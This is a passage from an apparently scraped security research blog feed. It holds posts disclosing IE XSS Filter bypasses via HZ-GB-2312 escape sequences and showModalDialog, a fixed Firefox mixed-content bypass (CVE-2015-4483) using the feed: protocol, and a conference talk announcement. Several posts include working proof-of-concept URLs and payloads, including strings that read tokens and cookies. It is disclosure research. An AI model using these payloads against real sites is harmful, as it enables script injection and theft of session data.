It seems that this behavior is spec'd. See EXAMPLE 13 of <a href="http://www.w3.org/TR/css3-fonts/#composite-fonts">http://www.w3.org/TR/css3-fonts/#composite-fonts</a>. Due to this behavior, users can save bandwidth. But as the side effect, an attacker got new attack vector.<br />
<div>
<br /></div>
Unknownnoreply@blogger.com12tag:blogger.com,1999:blog-3090823890722032925.post-59882967607227955622015-09-29T07:31:00.000-07:002016-12-13T05:35:21.551-08:00Bypassing IE's XSS Filter with HZ-GB-2312 escape sequenceI would like to share IE XSS Filter bypass with escape sequence of HZ-GB-2312 encoding.<br />
<br />
To use this vector, we need the target page's Content-Type header which charset is not specified in.<br />
<h2>
Bypass 1</h2>
PoC:<br />
<a href="http://vulnerabledoma.in/char_test?body=%3Cx~%0Aonmouseover=alert(1)%3EAAA">http://vulnerabledoma.in/char_test?body=%3Cx~%0Aonmouseover=alert(1)%3EAAA</a><br />
No user interaction version:<br />
<a href="http://vulnerabledoma.in/char_test?body=%3Cx~%0Aonfocus=alert%281%29%20id=a%20tabindex=0%3E#a">http://vulnerabledoma.in/char_test?body=%3Cx~%0Aonfocus=alert%281%29%20id=a%20tabindex=0%3E#a</a><br />
<br />
"~[0x0A]" is HZ-GB-2312 escape sequence. It seems that XSS filter makes an exception for "~[0x0A]" .<br />
<br />
If Content-Type header has proper charset, it does not work:<br />
<a href="http://vulnerabledoma.in/char_test?charset=utf-8&body=%3Cx~%0Aonmouseover=alert(1)%3EAAA">http://vulnerabledoma.in/char_test?charset=utf-8&body=%3Cx~%0Aonmouseover=alert(1)%3EAAA</a><br />
<br />
On the other hand, if meta tag has proper charset, it still works:<br />
<a href="http://vulnerabledoma.in/xssable?q=%3Cx~%0Aonfocus=alert%281%29%20id=a%20tabindex=0%3E#a">http://vulnerabledoma.in/xssable?q=%3Cx~%0Aonfocus=alert%281%29%20id=a%20tabindex=0%3E#a</a><br />
<h2>
Bypass 2</h2>
"~{" is also HZ-GB-2312 escape sequence. We can use this for bypass. We can call same-origin method in string literal.<br />
<br />
PoC is here:<br />
<a href="http://l0.cm/xssfilter_hz_poc.html">http://l0.cm/xssfilter_hz_poc.html</a><br />
<br />
Please click the "go" button. You can confirm element.click method is called.<br />
<br />
"click" is called from the following code:<br />
<a href="http://vulnerabledoma.in/xss_js?q=%22%3B~{valueOf:opener.button.click}//">http://vulnerabledoma.in/xss_js?q=%22%3B~{valueOf:opener.button.click}//</a><br />
<blockquote class="tr_bq">
<script>var q="<span style="color: red;"><b>";~{valueOf:opener.button.click}//</b></span>"</script></blockquote>
<br />
Also, you can use "toString":<br />
<a href="http://vulnerabledoma.in/xss_js?q=%22%3B~{toString:opener.button.click}//">http://vulnerabledoma.in/xss_js?q=%22%3B~{toString:opener.button.click}//</a><br />
<br />
<blockquote class="tr_bq">
<script>var q="<span style="color: red;"><b>";~{toString:opener.button.click}//</b></span>"</script></blockquote>
<br />
That's all. See you next month!Unknownnoreply@blogger.com4tag:blogger.com,1999:blog-3090823890722032925.post-6766709419332532222015-08-26T07:17:00.000-07:002015-08-26T12:32:07.056-07:00CVE-2015-4483: Firefox Mixed Content Blocker bypass with feed: protocolToday, I would like to share details of CVE-2015-4483. This bug was fixed in Firefox 40. Security advisory is <a href="https://www.mozilla.org/en-US/security/advisories/mfsa2015-86/">here</a>.<br />
<br />
Usually, Firefox can block mixed content as follows:<br />
<a href="https://mkpocapp.appspot.com/bug1148732/victim">https://mkpocapp.appspot.com/bug1148732/victim</a><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9MjFRCNc3E2RjI2hvo_uqFdBqqP1LfLoXv6SHASEPQiQnowndK9i4frIA3iX7mv9QOl3jZmeg5KYZegAZNyVdiIInzvvjiateB1K6OOks5Sl5r20Tdyo3ZIyUO5GTGnJlKW4To2m4MsE/s1600/mixedcontent.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="195" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9MjFRCNc3E2RjI2hvo_uqFdBqqP1LfLoXv6SHASEPQiQnowndK9i4frIA3iX7mv9QOl3jZmeg5KYZegAZNyVdiIInzvvjiateB1K6OOks5Sl5r20Tdyo3ZIyUO5GTGnJlKW4To2m4MsE/s400/mixedcontent.png" width="400" /></a></div>
<br />
But using feed: protocol and POST method as follows, we can bypass it:<br />
<br />
<a href="http://l0.cm/fx_mixed_content_blocker_bypass.html">http://l0.cm/fx_mixed_content_blocker_bypass.html</a><br />
<blockquote class="tr_bq">
<form action="<span style="color: red;"><b>feed:</b></span>https://mkpocapp.appspot.com/bug1148732/victim" <b><span style="color: red;">method="post"</span></b>><br />
<input type="submit" value="go"><br />
</form></blockquote>
<div class="separator" style="clear: both; text-align: center;">
</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgrfWQcCcfSEsfAytscfAV3o0xU7h-Ad2_DmJpeW-2HwnyGSCcI10IrWGV5PHXpSm9ely2AISsRiR8QoD4MVrHFxDrAUgNkq1Xqs52boBB9iuAXXl5eAMt7x5qEJhj7K7GKH86xVr6Jv20/s1600/mixedcontentblocker_bypass.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="235" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgrfWQcCcfSEsfAytscfAV3o0xU7h-Ad2_DmJpeW-2HwnyGSCcI10IrWGV5PHXpSm9ely2AISsRiR8QoD4MVrHFxDrAUgNkq1Xqs52boBB9iuAXXl5eAMt7x5qEJhj7K7GKH86xVr6Jv20/s400/mixedcontentblocker_bypass.png" width="400" /></a></div>
<br />
<br />
To use this bug, we need http: resource in target https: website. So, you might think such website is broken from the beginning. But wait! I think this bug affects many websites.<br />
<br />
Please go to the following page and see location.protocol:<br />
<br />
<a href="http://l0.cm/fx_location_protocol_and_feed.html">http://l0.cm/fx_location_protocol_and_feed.html</a><br />
<br />
location.protocol returns "feed:". Next, let's see Google Analytics tracking code.<br />
<br />
<blockquote class="tr_bq">
var _gaq = _gaq || [];<br />
_gaq.push(['_setAccount', 'UA-xxx-y']);<br />
_gaq.push(['_trackPageview']);<br />
(function() {<br />
var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;<br />
<b><span style="color: red;">ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';</span></b><br />
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);<br />
})();</blockquote>
<div>
<div>
Let's take a look at red js code. If location.protocol is not "https:", insecure ga.js (<b>http:</b>//www.google-analytics.com/ga.js) is loaded in the page. Combining with "location.protocol==feed:" trick, what's going to happen? Yes, we can load insecure js via GA tracking code! :)<br />
<br />
For example, we can load insecure js in accounts.google.com as follows:<br />
<a href="http://l0.cm/google/accounts.google.com_mixedscripting.html">http://l0.cm/google/accounts.google.com_mixedscripting.html</a><br />
<br />
Firefox 40 can block mixed content properly. But it seems that we can still put "feed:" string to protocol part of URL.</div>
<div>
<br />
Thank you!</div>
</div>
Unknownnoreply@blogger.com4tag:blogger.com,1999:blog-3090823890722032925.post-69291405236681369822015-07-01T07:12:00.000-07:002015-08-27T03:46:10.784-07:00My Presentation at CODE BLUE: Bug-hunter's JoyToday, I'd like to share my presentation in <a href="http://codeblue.jp/2014/en/">CODE BLUE</a>. CODE BLUE is an international information security conference which was held in December 2014 at Tokyo.<br />
<br />
I spoke about my life as a bug hunter. You can see my experiences in Google VRP, my income in 2013, technical details of interesting XSS bugs and so on. I hope you will enjoy it.<br />
<br />
<iframe allowfullscreen="" frameborder="0" height="355" marginheight="0" marginwidth="0" scrolling="no" src="//www.slideshare.net/slideshow/embed_code/key/v9RFU14rHirNWS" style="border-width: 1px; border: 1px solid #CCC; margin-bottom: 5px; max-width: 100%;" width="425"> </iframe> <br />
<div style="margin-bottom: 5px;">
<strong> <a href="https://www.slideshare.net/codeblue_jp/cb14-masato-kinugawaen" target="_blank" title="CODE BLUE 2014 : Joy of a bug hunter by Masato Kinugawa">CODE BLUE 2014 : Joy of a bug hunter by Masato Kinugawa</a> </strong> from <strong><a href="https://www.slideshare.net/codeblue_jp" target="_blank">CODE BLUE</a></strong> </div>
<br />
You can find other great presentations here: <a href="http://codeblue.jp/2015/en/archive/2014/">http://codeblue.jp/2015/en/archive/2014/</a><br />
<br />
CODE BLUE will be held again this year. More details are available <a href="http://codeblue.jp/2015/en/">here</a>. Please come to Tokyo :)<br />
Thanks!Unknownnoreply@blogger.com3tag:blogger.com,1999:blog-3090823890722032925.post-20346191798422564532015-06-16T05:40:00.000-07:002015-06-18T06:05:22.878-07:00Bypassing IE's XSS Filter with showModalDialogHi there! I'm Masato Kinugawa. Finally, I started my blog in English :)<br />
Also I will continue to write in Japanese as until now: <a href="http://masatokinugawa.l0.cm/">http://masatokinugawa.l0.cm/</a><br />
Today, I want to share IE's XSS filter bypass with showModalDialog.<br />
<br />
showModalDialog function is old and has been removed from the web standards, but it has unique mechanism. I thought it might make my day. That's why I started looking into it.<br />
The function is still supported by IE, Firefox and Safari.<br />
<br />
First of all, let's recap usage of showModalDialog.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhf_hMNrbN4KFcgSd_a6bXN7IZnvENeg8m_dq5eV_mZ4d0OzkCWUMZCHPXJD0JELUoZCVH3QfJZTnc6IqVBxWKfaZQZNqL3GueM9dgpmyieuiIolmM5JqHj8eaLOjRCWtWef254TlCOg9A/s1600/smd.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhf_hMNrbN4KFcgSd_a6bXN7IZnvENeg8m_dq5eV_mZ4d0OzkCWUMZCHPXJD0JELUoZCVH3QfJZTnc6IqVBxWKfaZQZNqL3GueM9dgpmyieuiIolmM5JqHj8eaLOjRCWtWef254TlCOg9A/s1600/smd.png" /></a></div>
<br />
The first argument is URL which you want to open in the modal dialog.<br />
The second argument is the argument which you want to pass to the modal dialog. And you can use it through window.dialogArguments property in the modal window.<br />
<br />
<br />
To pass argument through window.dialogArguments, it seems that two windows must be same origin.<br />
<br />
But it is different in case of returnValue. Two windows don't have to be same origin in Safari and IE. (Only Firefox needs same origin)<br />
<br />
Here is my test page:<br />
<a href="http://vulnerabledoma.in/showModalDialog/opener.html">http://vulnerabledoma.in/showModalDialog/opener.html</a><br />
<br />
Safari can pass it to different origin simply. Please test from the "x-origin" button.<br />
To reproduce on IE, we need 3xx redirect. Please test from the "x-origin(redirect)" button.<br />
<br />
This behavior means that we can pass information to another origin's page via returnValue property in Safari and IE. It might make a hole in some web application. But of course, I don't want to enlighten secure usage of showModalDialog in 2015 :)<br />
<br />
Let's go to the main, bypass IE's XSS filter.<br />
<br />
<br />
Exploitable Conditions:<br />
<ol>
<li>XSS exists in string literal of JS.</li>
<li>Any JS property contains sensitive information.</li>
</ol>
<br />
The following is my test page:<br />
<br />
<a href="http://vulnerabledoma.in/xss_token?q=[XSS_HERE]">http://vulnerabledoma.in/xss_token?q=[XSS_HERE]</a><br />
<blockquote class="tr_bq">
<form name=form><br />
<input type=hidden name=token value=f9d150048b><br />
</form><br />
<script>var q="[XSS_HERE]"</script></blockquote>
<br />
Seeing is believing. Please go to the following PoC using IE:<br />
<br />
<a href="http://l0.cm/xssfilter_bypass/showModalDialog.html">http://l0.cm/xssfilter_bypass/showModalDialog.html</a><br />
<br />
If it goes well, you can see token strings in alert when you closed the modal dialog.<br />
<br />
Let's take a look at details. The redirect takes you to:<br />
<br />
http://vulnerabledoma.in/xss_token?q=<span style="color: red;"><b>%22%3BreturnValue=form.token.value//</b></span><br />
<br />
The payload is injected:
<br />
<blockquote class="tr_bq">
<form name=form><br />
<input type=hidden name=token value=f9d150048b><br />
</form><br />
<script>var q="<span style="color: red;"><b>";returnValue=form.token.value//</b></span>"</script></blockquote>
Then, the token is passed into returnValue. Yeah!!<br />
<br />
Needless to say, also it works:<br />
<br />
";returnValue=document.cookie//<br />
";returnValue=localStorage.key//<br />
<br />
I have tried unsuccessfully to access other page's window object through window.opener. Any idea?<br />
<br />
That's all. Understood? :)<br />
<br />
FYI, I have blogged about some XSS filter bypass techniques in the past. (Sorry, Japanese text only)<br />
If you are interested in other bypasses, please read using Google Translate.<br />
<br />
<br />
<a href="http://masatokinugawa.l0.cm/2012/02/xss.html">ブラウザのXSS保護機能をバイパスする(1)</a> (2012/2)<br />
<a href="http://masatokinugawa.l0.cm/2012/03/xss2.html">ブラウザのXSS保護機能をバイパスする(2)</a> (2012/3)<br />
<a href="http://masatokinugawa.l0.cm/2012/09/xss3.html">ブラウザのXSS保護機能をバイパスする(3)</a> (2012/9)<br />
<a href="http://masatokinugawa.l0.cm/2014/09/xss4.html">ブラウザのXSS保護機能をバイパスする(4)</a> (2014/9)<br />
<a href="http://masatokinugawa.l0.cm/2014/10/xss5.html">ブラウザのXSS保護機能をバイパスする(5)</a> (2014/10)<br />
<div>
<br /></div>
<div>
I'm going to continue to write blog in English as far as possible. </div>
<div>
Thank you!<br />
<br />
<b>Update(2015/6/17)</b><br />
<br />
I found a way to pass other same-origin page's information via returnValue.<br />
Anyway please go to the following page and click the "go" button.<br />
<br />
<a href="http://l0.cm/xssfilter_bypass/showModalDialog2.html">http://l0.cm/xssfilter_bypass/showModalDialog2.html</a><br />
<br />
If it goes well, you can see "<h1>This is secret Text!</h1>" of other same-origin page's information in alert dialog. In this PoC, we don't need 3xx redirect. It seems that we can set returnValue from x-origin page in iframe which exists in showModalDialog.</div>
Unknownnoreply@blogger.com4